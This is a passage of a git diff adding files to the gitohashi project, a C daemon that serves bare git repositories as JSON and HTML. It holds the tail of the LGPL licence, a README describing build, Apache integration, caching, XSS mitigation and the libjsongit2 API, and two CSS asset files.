MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE\n+LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME\n+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n+\n+ 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN\n+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY\n+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU\n+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR\n+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE\n+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING\n+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A\n+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF\n+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH\n+DAMAGES.\n+\n+ END OF TERMS AND CONDITIONS\n+\u000c\n+ How to Apply These Terms to Your New Libraries\n+\n+ If you develop a new library, and you want it to be of the greatest\n+possible use to the public, we recommend making it free software that\n+everyone can redistribute and change. You can do so by permitting\n+redistribution under these terms (or, alternatively, under the terms of the\n+ordinary General Public License).\n+\n+ To apply these terms, attach the following notices to the library. It is\n+safest to attach them to the start of each source file to most effectively\n+convey the exclusion of warranty; and each file should have at least the\n+\u0022copyright\u0022 line and a pointer to where the full notice is found.\n+\n+ \u003cone line to give the library's name and a brief idea of what it does.\u003e\n+ Copyright (C) \u003cyear\u003e \u003cname of author\u003e\n+\n+ This library is free software; you can redistribute it and/or\n+ modify it under the terms of the GNU Lesser General Public\n+ License as published by the Free Software Foundation; either\n+ version 2.1 of the License, or (at your option) any later version.\n+\n+ This library is distributed in the hope that it will be useful,\n+ but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ Lesser General Public License for more details.\n+\n+ You should have received a copy of the GNU Lesser General Public\n+ License along with this library; if not, write to the Free Software\n+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n+\n+Also add information on how to contact you by electronic and paper mail.\n+\n+You should also get your employer (if you work as a programmer) or your\n+school, if any, to sign a \u0022copyright disclaimer\u0022 for the library, if\n+necessary. Here is a sample; alter the names:\n+\n+ Yoyodyne, Inc., hereby disclaims all copyright interest in the\n+ library `Frob' (a library for tweaking knobs) written by James Random Hacker.\n+\n+ \u003csignature of Ty Coon\u003e, 1 April 1990\n+ Ty Coon, President of Vice\n+\n+That's all there is to it!\ndiff --git a/README.md b/README.md\nnew file mode 100644\nindex 0000000..5dcfb35\n--- /dev/null\n+++ b/README.md\n@@ -0,0 +1,699 @@\n+[](https://travis-ci.org/warmcat/gitohashi) [](https://scan.coverity.com/projects/gitohashi) \n+\n+gitohashi\n+---------\n+\n+Lightweight C Daemon that provides HTTP network transport and HTML presentation\n+via a JSON representation of bare git repositories. Supports http/1, http/2 and\n+unix socket (proxiable by, eg, apache \u0026 lighttpd) serving, avatar proxy caching\n+and many other features.\n+\n+\n+\n+## Features\n+\n+ - Follows github type web display of repository state, default view is to show\n+ rendered README.md. Markdown can include references to files from the\n+ repo revision directly.\n+\n+ - No forking... no cgi... no subprocesses... persistant daemon architecture\n+\n+ - Can optionally serve http[s] directly over http/1.1 and http/2\n+ \n+ - Can optionally serve locally for integration with existing Apache / lighttpd\n+ etc server via per-vhost unix socket + mod_proxy\n+\n+ - Clientside JS, CSS and HTML are provided, along with Markdown parsing\n+ and syntax highlighting JS to present the JSON + HTML from libjsongit2 in\n+ a modern and responsive way. SVG icons provided. Customizing the css and\n+ HTML template encouraged.\n+\n+ - Transparent caching at JSON block level, keyed using global repository ref\n+ state... cache invalidated when any ref updated. ETAG browser cache\n+ validation supported as well. No time-based invalidation so no cached view\n+ more than a few seconds out of date.\n+ \n+ - Multiple vhosts natively supported, integrated with libjsongit2 so each can\n+ have their own template html and gitolite ACL \u0022user\u0022 name for automatic\n+ permissions\n+\n+ - Safe gravatar proxy cache, no referrer leaks\n+\n+ - Very modest on memory, Valgrind-clean, Coverity-clean, works great on a\n+ Raspberry Pi 3\n+ \n+ - I18N (Internationalization) supported keyed off the browser ACCEPT-\n+ LANGUAGE header, Japanese, Traditional and Simplified Chinese provided on top\n+ of the default English UI\n+ \n+ - Strict Content-Security-Policy out of the box, default-deny, 'self' and\n+ whitelisted img sources only (travis status etc). \n+\n+ - Dynamically linked - binds to distro system libs\n+\n+# Getting Started\n+\n+## Build\n+\n+gitohashi is a small cmake project with only two dependencies, [libgit2](https://libgit2.org/)\n+and [libwebsockets](https://libwebsockets.org/git/libwebsockets), also easy to\n+build cmake projects.\n+\n+Full build details: [README-build.md](./doc/README-build.md)\n+\n+### Config\n+\n+You can get started by copying ./etc-gitohashi to /etc/gitohashi\n+\n+```\n+ $ sudo cp -rp ./etc-gitohashi /etc/gitohashi\n+```\n+\n+This contains JSON configuration files for gitohashi vhosts.\n+\n+### Startup\n+\n+The gitohashi `make install` adds a systemd service file, so you can manage it\n+the same as other services.\n+\n+However you will need to move it into place if you are installing to, eg,\n+`/usr/local/...` as it does by default.\n+\n+```\n+ $ sudo cp /usr/local/lib/systemd/system/gitohashi.service /usr/lib/systemd/system/\n+```\n+\n+Afterwards you can use gitohashi normally with systemd...\n+\n+```\n+ $ systemctl start gitohashi\n+```\n+\n+### Direct serving\n+\n+gitohashi can serve on http and https, using http/1.1 and / or http/2 directly.\n+The default example configuration defines two vhosts, one serving on\n+http://localhost:443/git and the other serving on a unix domain socket intended\n+to be proxied by Apache or another frontend server.\n+\n+### Apache integration\n+\n+gitohashi can serve over unix sockets, as shown in the `unixskt` example\n+vhost. The unix socket should live in `/var/run/`, the example one is at\n+`/var/run/gitohashi-unixskt`. Multiple vhosts can each expose their own\n+unix socket.\n+\n+gitohashi will take care of unlinking and creating the unix sockets at startup,\n+as well as changing their owner:group to the owner:group that gitohashi runs\n+under.\n+\n+However selinux must be informed that it's OK for the named unix sockets to be\n+connected to by Apache. You can do this by allowing apache to connect to\n+local unix sockets generally with\n+\n+```\n+$ sudo semodule -X 300 -i /usr/local/share/gitohashi/gitohashi-selinux.pp\n+```\n+\n+Afterwards, for each vhost you want to use gitohashi on Apache, you need to\n+add\n+\n+```\n+SSLProxyEngine on\n+ProxyPass /git unix:///var/run/gitohashi-unixskt|http://localhost/git\n+```\n+\n+For multiple vhosts, `unix:///var/run/gitohashi-unixskt` becomes the per-vhost\n+unix socket you created in gitohashi's vhost config.\n+\n+### Serving gitohashi Assets\n+\n+gitohashi installs its `./assets` directory into\n+`/usr/local/share/gitohashi` by default.\n+\n+asset|function\n+---|---\n+inconsolata.ttf|Web font for nice monospaced content\n+jg2.js|The clientside part of libjsongit2 that turns the JSON into HTML\n+jg2.css|Helper CSS for formatting jg2.js output\n+logo.css|CSS SVG Image included by the example template HTML\n+gitohashi-custom.css|CSS overrides related to the custom HTML template (normally served from wherever the HTML template is served from)\n+highlight.pack.js|Highlight.js script to perform clientside file markup\n+github.css|Highlight.js CSS (NB they provide many alternatives...)\n+showdown.min.js|Showdown script to perform clientside markdown to HTML\n+showdown.min.js.map|Additional information about minified showdown\n+\n+Gitohashi also installs an example html template from its `./templates` dir,\n+`gitohashi-example.html` into `/usr/local/share/gitohashi/templates`. This\n+is not designed to be directly served, instead the gitohashi vhost is pointed\n+to a customized copy of it adapted with a suitable logo, content and css /\n+fonts.\n+\n+Assuming you want \u0022sandwiched\u0022 JSON-in-HTML mode, two places need to know the\n+path:\n+\n+ - you need to inform the library the filepath to the HTML template file in\n+ the vhost config struct\n+\n+ - you must serve that dir somehow over HTTP so the client browser can get at\n+ the rest of the assets mentioned in the HTML. (The HTML is provided\n+ directly by libjsongit2 in sandwich mode, but the other assets are collected\n+ by the client browser over HTTP). The provided HTTP template\n+ assumes it's served from the same server at the virtual path\n+ \u0022/git/_gitohashi\u0022, but you can change that as needed.\n+\n+Caching policy in your HTTP server for the assets can be relaxed, since they\n+will normally only change when gitohashi it updated.\n+\n+### Integration with gitolite\n+\n+Gitohashi tries to require as little configuration as possible. One big help\n+with that is it can use libjsongit2's ability to parse gitolite ACLs from the\n+same repo base directory. That allows you to use gitolite config to control\n+which repos gitohashi can access and set information about them.\n+\n+Full details: [README-gitolite.md](https://warmcat.com/git/libjsongit2/tree/doc/README-gitolite.md) \n+\n+## Caching in gitohashi\n+\n+To minimize the cost of generated, external and static page assets, gitohashi\n+uses several different types of cache. \n+\n+### Avatar cache\n+\n+gitohashi makes a lot of use of avatars to make it easy to recognize commit\n+authors and who has contributed.\n+\n+ - Repeated avatar references on the client side are coalesced to one fetch by\n+the browser, but on pages with many commits by different people, that can still\n+add up to a lot of fetches. The caching policy is controlled by the server the\n+avatar was fetched from, even though avatars very seldom change.\n+\n+ - With a third-party avatar provider, there's also a problem your browser is\n+informing them of every URL you visit via `referrer`, and which avatars are\n+there. This may be \u0022too much information\u0022.\n+\n+ - Gravatar is also listed by mozilla as a service that needs protecting against\n+for privacy; you will lose your green padlock on pages that reference gravatar\n+directly.\n+\n+For these reasons gitohashi includes a smart server-side avatar cache.\n+\n+It's not a generic proxy cache, libjsongit2 informs gitohashi when it generates\n+JSON mentioning an identity, and the avatar cache fetches the related avatar if\n+it's not already in the cache. The avatar cache is exposed in a mount serving\n+static files with a user-controllable cache policy (which you can set to days\n+or weeks to control the related client traffic). In this way it's secure\n+against abuse.\n+\n+No referrer information is sent, and since the JSON tells the browser to pick\n+up the avatar images from your server, the client finds no references to\n+the third-party avatar provider and so no privacy issues.\n+\n+### Transparent JSON Cache\n+\n+libjsongit2 has a sophisticated transparent JSON cache described in detail in\n+its README\n+\n+https://warmcat.com/git/libjsongit2\n+\n+Cache entries are invalidated when the related repo's refs\n+change; libjsongit2 maintains a hash of all refs in a repo for this purpose.\n+\n+It means that deprecated repos nobody pushes to will keep their caches\n+unless the size limit is reached and the cache content is reaped according to\n+LRU, while active repos will always have fresh content reflecting their\n+current status with only a few seconds delay, and the cached versions of that\n+content will exist until the next push, maximizing their usefulness.\n+\n+Gitohashi checks the `user-agent` header of the client for \u0022bot\u0022 or \u0022Bot\u0022, and\n+if present disables cache generation for the request, so that random bot\n+spidering doesn't flush meaningful user accesses that may be useful for other\n+users in the cache.\n+\n+## Client-side HTTP cache\n+\n+Assets that may have a safe client-side cache policy (CSS, JS, fonts etc) are\n+separated out to their own URL base that may have the relaxed caching policy\n+applied to it. The generated HTML + JSON is never cached and always produced\n+live. \n+\n+## ETAG client-side HTTP cache\n+\n+When the client-side cache time expires, the client can still avoid reloading\n+by using ETAGs (all modern browsers do this automatically). Gitohashi\n+understands ETAGs and will reply with a HTTP response code indicating the\n+cached object is unchanged, renewing the clientside cache copy without having\n+to resend any content.\n+\n+Gitohashi understands etags, \n+\n+## Notes on developing with gitohashi\n+\n+1. You can run gitohashi from the commandline with sudo, but you must\n+ override HOME. libgit2 will try to use any .gitrc in your original user's\n+ HOME and fail on opening the repos. Use this kind of thing:\n+ \n+```\n+$ sudo HOME\u003d/tmp valgrind --leak-check\u003dfull --show-leak-kinds\u003dall /usr/local/bin/gitohashi\n+```\n+\n+2. You can either attach gdb to the gitohashi process even if run by systemd\n+ using `gdb -p \u003cpid\u003e`, or run it under gdb with, eg\n+ \n+```\n+$ sudo HOME\u003d/tmp valgrind gdb --ex r --args /usr/local/bin/gitohashi\n+```\n+\n+## XSS mitigation\n+\n+### Making the most of Content-Security-Policy\n+\n+Modern browsers understand XSS and allow the server to specify a kind of\n+\u0022selinux on your web page\u0022 at the time the pages are served. This is\n+independent of what is on the original page or what may be inserted into the\n+DOM.\n+\n+Gitohashi's example HTML template and the example `/etc/gitohashi` conf are\n+already set for default-deny `Content-Security-Policy` for all types of content,\n+with specific overrides to allow scripts, CSS and fonts from the same server\n+that sent the original page, and images additionally from travis / appveyor and\n+coverity ONLY.\n+\n+That means inline (injected) scripts and style are specifically disallowed by\n+the default security policy told to the browser by gitohashi when it serves the\n+page. The default CSP is enough to get A+ at https://observatory.mozilla.org .\n+\n+### Showdown\n+\n+Generic markdown is unfortunately sucecptible to XSS attacks, made a lot worse\n+by wanting to allow the input to fall back to raw html.\n+\n+However we don't need that for README.md type applications, so we perform\n+the following changes to the markdown input before processing\n+\n+character|change\n+---|---\n+Ampersand|\u0026 a m p ;\n+Less than|\u0026 l t ; \u0026 # 8 2 0 3;\n+Greater than|\u0026 g t ;\n+Percent|\u0026 # 3 7 ;\n+\n+The additional zero-width space after the less-than is to defeat Showdown's\n+suicidal desire to interpret the HTML escape sequence \u0026 l t ; as a valid, active\n+less-than character for opening html tags.\n+\n+With this the xss test page at ./xss/README.md with several dozen xss variations\n+does not render to anything active scriptwise.\n+\n+See https://warmcat.com/git/gitohashi/tree/xss\n+\n+### Highlight.js\n+\n+At least for C highlight, providing the same large set of XSS attacks in a .c is\n+unable to do anything on the client, again by globally preprocessing the\n+characters critical to the attack variants into escaped forms first.\n+\n+See https://warmcat.com/git/gitohashi/tree/xss/xss.c\n+\n+## Upstreams and licenses\n+\n+### libjsongit2\n+\n+LGPL2.1+SLE\n+\n+https://warmcat.com/git/libjsongit2\n+\n+### libwebsockets\n+\n+LGPL2.1+SLE\n+\n+https://libwebsockets.org/git/libwebsockets\n+\n+### highlightjs\n+\n+https://highlightjs.org/\n+\n+included in gitohashi:\n+\n+ - assets/highlight.pack.js\n+ - assets/github.css\n+\n+```\n+Copyright (c) 2006, Ivan Sagalaev\n+All rights reserved.\n+Redistribution and use in source and binary forms, with or without\n+modification, are permitted provided that the following conditions are met:\n+\n+ * Redistributions of source code must retain the above copyright\n+ notice, this list of conditions and the following disclaimer.\n+ * Redistributions in binary form must reproduce the above copyright\n+ notice, this list of conditions and the following disclaimer in the\n+ documentation and/or other materials provided with the distribution.\n+ * Neither the name of highlight.js nor the names of its contributors \n+ may be used to endorse or promote products derived from this software \n+ without specific prior written permission.\n+\n+THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY\n+EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n+DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY\n+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n+```\n+\n+### showdown\n+\n+https://github.com/showdownjs/showdown\n+\n+included in gitohashi:\n+\n+ - assets/showdown.min.js\n+\n+```\n+Showdown Copyright (c) 2007, John Fraser\n+http://www.attacklab.net\n+All rights reserved.\n+\n+Original Markdown copyright (c) 2004, John Gruber\n+http://daringfireball.net\n+All rights reserved.\n+\n+Redistribution and use in source and binary forms, with or without\n+modification, are permitted provided that the following conditions are\n+met:\n+\n+* Redistributions of source code must retain the above copyright notice,\n+ this list of conditions and the following disclaimer.\n+\n+* Redistributions in binary form must reproduce the above copyright\n+ notice, this list of conditions and the following disclaimer in the\n+ documentation and/or other materials provided with the distribution.\n+\n+* Neither the name \u0022Markdown\u0022 nor the names of its contributors may\n+ be used to endorse or promote products derived from this software\n+ without specific prior written permission.\n+\n+This software is provided by the copyright holders and contributors \u0022as\n+is\u0022 and any express or implied warranties, including, but not limited\n+to, the implied warranties of merchantability and fitness for a\n+particular purpose are disclaimed. In no event shall the copyright owner\n+or contributors be liable for any direct, indirect, incidental, special,\n+exemplary, or consequential damages (including, but not limited to,\n+procurement of substitute goods or services; loss of use, data, or\n+profits; or business interruption) however caused and on any theory of\n+liability, whether in contract, strict liability, or tort (including\n+negligence or otherwise) arising in any way out of the use of this\n+software, even if advised of the possibility of such damage.\n+```\n+\n+libjsongit2\n+-----------\n+\n+Gitohashi contains a lightweight C library using libgit2 that converts\n+urlpaths into JSON representing the \u0022business logic\u0022 of a sophisticated gitweb\n+type interface. Gitohashi uses the library and provides assets to present its\n+JSON representation in HTML, but libjsongit2's JSON representation could also\n+be represented completely different by different applications using it.\n+\n+\n+\n+Try it out at https://warmcat.com/git/libjsongit2 and\n+https://libwebsockets.org/git/libwebsockets\n+\n+## Features\n+\n+ - library implements a \u0022gitweb\u0022 type interface to bare git repos, taking a\n+ cgit-compatible \u0022urlpath\u0022 and returning JSON, an HTML template plus JSON,\n+ or a direct file from inside a repo revision with its own mimetype,\n+ with the presentation entirely separated and done clientside.\n+\n+ - Fast, small, modern, stateful, multivhost, threadsafe, opaque C api with\n+ just 5 functions, no libgit2 types.\n+\n+ - Works with libgit2 v0.19+ ie, Ubuntu 14.04+; blame support requires\n+ libgit2 0.21+\n+\n+ - Per-connection stateful context-based api bound to a vhost allows unlimited\n+ number of concurrent ongoing requests on same or different repos\n+\n+ - Output generated JIT to fill user buffer, state maintain to generate more\n+ only when the user code wants to fill another buffer.\n+\n+ - Transparent caching at JSON block level, keyed using global repository ref\n+ state... cache invalidated when any ref updated. No time-based caching.\n+\n+ - Top level vhost context allows small number of settings like vurl, and\n+ caching things per-vhost. If using HTML sandwiching, the vhost loads the\n+ html template into memory one time.\n+\n+ - Uses existing repo configuration where possible:\n+\n+ - gitweb config options in the repo itself\n+\n+ - gitolite ACL config parsed if found in the vhost's repository directory\n+ selects which repos are visible based on vhost's \u0022user\u0022 and per-context\n+ authenticated user\n+\n+ - Very modest on memory, Valgrind-clean, Coverity-clean\n+\n+ - Highly optimized Gravatar / md5 support\n+\n+ - Supports serving http assets like pictures directly from the repo, so\n+ they are versioned along with the ref being viewed\n+\n+ - Dynamic, stateful snapshot archive generation for tar.gz, tar.bz2, tar.xz\n+ and zip\n+ \n+ - Enables Internationalization, passes the browser `ACCEPT_LANGUAGE` header\n+ data back in the JSON. But since internationalization is about presentation,\n+ it is actually performed clientside.\n+ \n+ - various alignments to github style, such as:\n+ \n+ - inline README.md display in tree view\n+ \n+ - markdown can fetch from the repo with URLs starting ./ for the\n+ current directory the markdown is at inside the repo\n+ \n+ - line range highlighting\n+ \n+ - sorted contributor list in blame view\n+\n+ - CMake crossplatform, simple, adaptive build system\n+\n+## Getting Started\n+\n+libjsongit2 is a cmake project that's easy to build. It requires libgit2 and\n+optionally libarchive, both of which are available in all popular distros.\n+\n+Full build details: [README-build.md](./doc/README-build.md)\n+\n+## Overview\n+\n+This C library gives you a way to get Read-Only access to selected repos\n+according to your gitolite ACLs, in HTML + JSON and also to directly access repo\n+files for a particular rev in their native mimetype. From a URL path, it\n+returns serveable HTTP reflecting various ways of looking at the repo and its\n+contents as needed by a gitweb type application.\n+\n+\n+\n+After initializing at least vhost with this library, you create per-connection\n+\u0022contexts\u0022 which are associated with a repo in the filesystem and a \u0022urlpath\u0022\n+describing the information you want in JSON.\n+\n+Based on the urlpath, the library emits one or more \u0022jobs\u0022, either HTML + JSON\n+or raw files served from a repo rev. Each time there's no more space left in\n+the user output buffer for another entry, the library returns and waits to be\n+called again to fill another buffer. So the library does not create content\n+until it's directly possible to send it on, and the caller is explicitly in\n+control of how much data is produced and when. Many different connection\n+contexts may be ongoing simultaneously.\n+\n+The library uses the urlpath to provide all the kinds of information needed\n+for gitweb style rendering at the client.\n+\n+Jobs can be chained together so different kinds of information can coexist in a\n+single JSON blob.\n+\n+The context holds all the necessary state, the user code chooses when to ask a\n+context to continue to generate another buffer of JSON. So it's able to only do\n+work (and use memory) to generate data that can be sent onwards immediately,\n+eliminating stream buffering at the server side.\n+\n+### HTML template \u0022sandwich\u0022\n+\n+To simplify customization and use, libjsongit2 can produce JSON already\n+embedded in a template HTML. An HTML comment marks where the JSON should be\n+inserted.\n+\n+\n+\n+The template HTML also makes it easy to directly configure css and related js\n+needed both by the template and libjsongit2 parts in the template itself.\n+\n+The HTML template is cached in memory by the libjsongit2 vhost, but it checks\n+each time it's used if it has been longer than 5s since the last check, that\n+it's up to date with the original file in the filesystem, and auto-reloads if\n+not.\n+\n+### JSON output\n+\n+The library produces well-formed JSON ready for `JSON.parse()` that\n+always has an outer container like this\n+\n+```\n+{\n+ \u0022schema\u0022:\u0022jg2-1\u0022,\n+ ... dynamic entries ...\n+ \u0022items\u0022: [\n+\n+... one or more \u0022job\u0022 JSON { structures }, may be from cache ...\n+\n+ ],\n+ ... dynamic stats entries ...\n+}\n+```\n+\n+cacheable \u0022items\u0022 that are relevant to the requested urlpath are provided.\n+\n+Full details and documentation on the JSON format: [README-JSON.md](./doc/README-JSON.md)\n+\n+The jg2-example application built along with libjsongit2 allows you to see the\n+JSON produced for a given URLpath.\n+\n+### URL structure\n+\n+The generated JSON embeds links and interprets url paths (the part after\n+`http[s]://xxx.com`) using the following rules, broadly compatible with cgit:\n+\n+**/vpath**/reponame/**mode**/repopath\u005c[**?h\u003dbranch**\u005c]\n+\n+ - vpath: the server can set `.virtual_base_urlpath` when creating the\n+ \u0022vhost\u0022 using the `struct jg2_vhost_config *` passed as\n+ an argument to `jg2_vhost_create()`\n+\n+ - reponame: which repo\n+\n+ - mode: one of:\n+ - (the url ends before this): see summary\n+ - \u0022refs\u0022: exhaustive list of refs in the repo\n+ - \u0022log\u0022: history from a specific ref or commit\n+ - \u0022tree\u0022: view of the file structure behind the commit chain\n+ - \u0022commit\u0022: the actual diff view of a single commit\n+ - \u0022plain\u0022: a blob with a guessed mimetype\n+ - \u0022patch\u0022: plain text raw patch (text/plain mimetype)\n+ - \u0022snapshot\u0022: various kinds of archive of a specific ref or commit\n+ - \u0022blame\u0022: like tree but with extra provonance information\n+ - \u0022branches\u0022: exhaustive list of branches\n+ - \u0022tags\u0022: exhaustive list of tags\n+ - \u0022summary\u0022: rundown of the top ten most-recently updated branches and tags\n+\n+ - repopath: the path inside the repo\n+\n+ - URLargs that restrict the context of the request include:\n+ - `?h\u003dbranch`: specifies a branch (default is \u0022master\u0022)\n+ - `?id\u003d\u003coid hex representation\u003e`\n+ - `?ofs\u003d\u003cnumber of items\u003e`\n+\n+\n+### Gravatar support\n+\n+The library maintains a hashtable of most recently seen email md5s in the opaque\n+\u0022vhost\u0022 structure. By default, this is 16 hash bins each a max of 16 deep, or\n+256 md5s, or about 20KiB including space for 64-char emails. These numbers can\n+be overridden at `jg2_vhost_create()` time.\n+\n+Because it's in the `jg2_vhost` struct, which contexts bind to at creation time,\n+the email cache is shared between all contexts using the same vhost.\n+\n+The email cache algorithm moves email matches to the start of the bin's linked-\n+list each time, and after the hash bin is full, it recycles the least-recently\n+seen email at the end of the list.\n+\n+It's also possible to override the internal md5 code with an external function\n+that may be faster, in the user config at the vhost init / vhost creation time.\n+See `struct jg2_vhost_config` in `libjsongit2.h`\n+\n+[Gitohashi](https://warmcat.com/git/gitohashi) additionally provides an avatar proxy.\n+\n+## API overview\n+\n+The user api is defined in `./include/libjsongit2.h`, it consists of just 5\n+functions.\n+\n+To init:\n+\n+ - `jg2_vhost_create()` once per vhost, but at least once (eg, on app init).\n+ An args struct is passed which allows configuring vhost options in an\n+ extensible way. If the app starts as root and drops privileges, the vhosts\n+ should be created while still root, allowing low tcp port binding and auto\n+ creation and persmissions setting on the JSON cache dir.\n+\n+ - `jg2_ctx_create()` once per connection. An args struct is passed which\n+ allows configuring the connection options in an extensible way. When the\n+ context is created, the URL related to it is parsed to understand what kind\n+ of result is needed, along with returning the mimetype and size if possible\n+ to the caller.\n+\n+To emit the output (JSON, HTML + JSON, raw file contents etc):\n+\n+ - `jg2_ctx_fill()` to write the next chunk of output into a provided buffer.\n+ As far as possible output is only generated a buffer at a time.\n+\n+To finish up:\n+\n+ - `jg2_ctx_destroy()` for every created context (eg, on connection close)\n+\n+ - `jg2_vhost_destroy()` for every vhost init (eg, on app close)\n+\n+## Configuration\n+\n+libjsongit2 tries to eliminate as much configuration as possible. It does this\n+by re-using existing git-related conventions like gitweb config and gitolite\n+ACLs, instead of repeating separate lists of repos to be shown.\n+\n+### Per-vhost configuration\n+\n+When creating the vhost object, there's a public `struct jg2_vhost_config`\n+config struct that can be filled in, but only two items are mandatory.\n+\n+ - `virtual_base_urlpath`: the virtual URL part, eg, /git\n+\n+ - `repo_base_dir`: the base directories where the git repos live\n+ \n+ See https://warmcat.com/git/libjsongit2/tree/include/libjsongit2.h for the\n+ full set of vhost configuration arguments.\n+\n+Full-details of gitolite integration: [README-gitolite.md](./doc/README-gitolite.md) \n+\n+### Example app\n+\n+A minimal example commandline app is built with the library, if you point\n+it to a dir where bare repos live, and give it a \u0022url path\u0022, it will dump\n+JSON to stdout.\n+\n+See ./examples/minimal/jg2-example.c\n+\n+## Transparent JSON Cache\n+\n+libjsongit2 can cache the results of individual JSON jobs and \u0022naked\u0022\n+generated files like snapshots and content served direct from a repo ref.\n+\n+The user can set the cache location and size limit per repository base dir,\n+and a thread scans the cache lazily deleting files on an LRU basis once the\n+cache reaches its limit. The scan uses a few KiB of memory regardless of the\n+size of the cache.\n+\n+The cached files use many keys to ensure they are relevant to the requested\n+URL. Full details: [README-cache.md](./doc/README-cache.md) \n+\n+## Contact\n+\n+Andy Green \u0026lt;andy@warmcat.com\u0026gt;\n+\ndiff --git a/assets/github.css b/assets/github.css\nnew file mode 100644\nindex 0000000..7cb2dbc\n--- /dev/null\n+++ b/assets/github.css\n@@ -0,0 +1,112 @@\n+/*\n+\n+github.com style (c) Vasily Polovnyov \u003cvast@whiteants.net\u003e\n+\n+*/\n+\n+.hljs {\n+ display: block;\n+ overflow-x: auto;\n+ padding: 0.5em;\n+ color: #333;\n+ background: rgba(248, 248, 248, 0.5);\n+}\n+\n+.hljs-comment,\n+.hljs-quote {\n+ color: #998;\n+ font-style: italic;\n+}\n+\n+.hljs-keyword,\n+.hljs-selector-tag,\n+.hljs-subst {\n+ color: #333;\n+ font-weight: bold;\n+}\n+\n+.hljs-template-variable,\n+.hljs-tag .hljs-attr {\n+ color: #008080;\n+}\n+\n+.hljs-number {\n+ color: #800;\n+}\n+\n+.hljs-variable {\n+ color: #008;\n+}\n+\n+.hljs-literal {\n+ color: #080;\n+}\n+\n+.hljs-literal {\n+ color: #080;\n+}\n+\n+.hljs-string,\n+.hljs-doctag {\n+ color: #d14;\n+}\n+\n+.hljs-title,\n+.hljs-section,\n+.hljs-selector-id {\n+ color: #900;\n+ font-weight: bold;\n+}\n+\n+.hljs-subst {\n+ font-weight: normal;\n+}\n+\n+.hljs-type,\n+.hljs-class .hljs-title {\n+ color: #458;\n+ font-weight: bold;\n+}\n+\n+.hljs-tag,\n+.hljs-name,\n+.hljs-attribute {\n+ color: #000080;\n+ font-weight: normal;\n+}\n+\n+.hljs-regexp,\n+.hljs-link {\n+ color: #009926;\n+}\n+\n+.hljs-symbol,\n+.hljs-bullet {\n+ color: #990073;\n+}\n+\n+.hljs-built_in,\n+.hljs-builtin-name {\n+ color: #0086b3;\n+}\n+\n+.hljs-meta {\n+ color: #999;\n+ font-weight: bold;\n+}\n+\n+.hljs-deletion {\n+ background: #fdd;\n+}\n+\n+.hljs-addition {\n+ background: #dfd;\n+}\n+\n+.hljs-emphasis {\n+ font-style: italic;\n+}\n+\n+.hljs-strong {\n+ font-weight: bold;\n+}\ndiff --git a/assets/gitohashi-custom.css b/assets/gitohashi-custom.css\nnew file mode 100644\nindex 0000000..1f2f034\n--- /dev/null\n+++ b/assets/gitohashi-custom.css\n@@ -0,0 +1,44 @@\n+\n+@font-face {\n+ font-family: 'Inconsolata';\n+ font-style: normal;\n+ font-weight: 400;\n+ src: local('Inconsolata Regular'), url('/git/_gitohashi/inconsolata.ttf') format('truetype');\n+}\n+body {\n+\tfont-family: \u0022Open Sans\u0022, Roboto, Arial, Helvetica, sans-serif;\n+\tfont-size: 15px;\n+\tpadding-bottom:0;\n+\tpadding-top:0;\n+\tmargin-bottom:0;\n+\tmargin-top:0;\n+}\n+p {\n+\tfont-family: \u0022Open Sans\u0022, Roboto, Arial, Helvetica, sans-serif;\n+\tfont-size: 15px;\n+}\n+pre {\n+\tfont-family: \u0022Inconsolata\u0022, \u0022mono\u0022;\n+\tfont-size: 14px;\n+}\n+\n+tr.repobar {\n+\tbackground-color: #dcf4dc;\n+}\n+\n+div.tabs li.selected {\n+\tbackground: #dcf4dc;\n+\tcolor: #333;\n+}\n+\n+div.tabs li {\n+\tbackground: #c0d8c0;\n+}\n+\n+div.tabs li:hover {\n+\tbackground: #cce8cc;\n+}\n+\n+div.tabs a {\n+\tcolor: #00c;\n+}\ndiff --git a/assets/highlight.pack.js b/assets/highlight.pack.js\nnew file mode 100644\nindex 0000000..46ef622\n--- /dev/null\n+++ b/assets/highlight.pack.js\n@@ -0,0 +1,2 @@\n+/*! highlight.js v9.12.0 | BSD3 License | git.io/hljslicense */\n+!function(e){var n\u003d\u0022object\u0022\u003d\u003dtypeof window\u0026\u0026window||\u0022object\u0022\u003d\u003dtypeof self\u0026\u0026self;\u0022undefined\u0022!\u003dtypeof 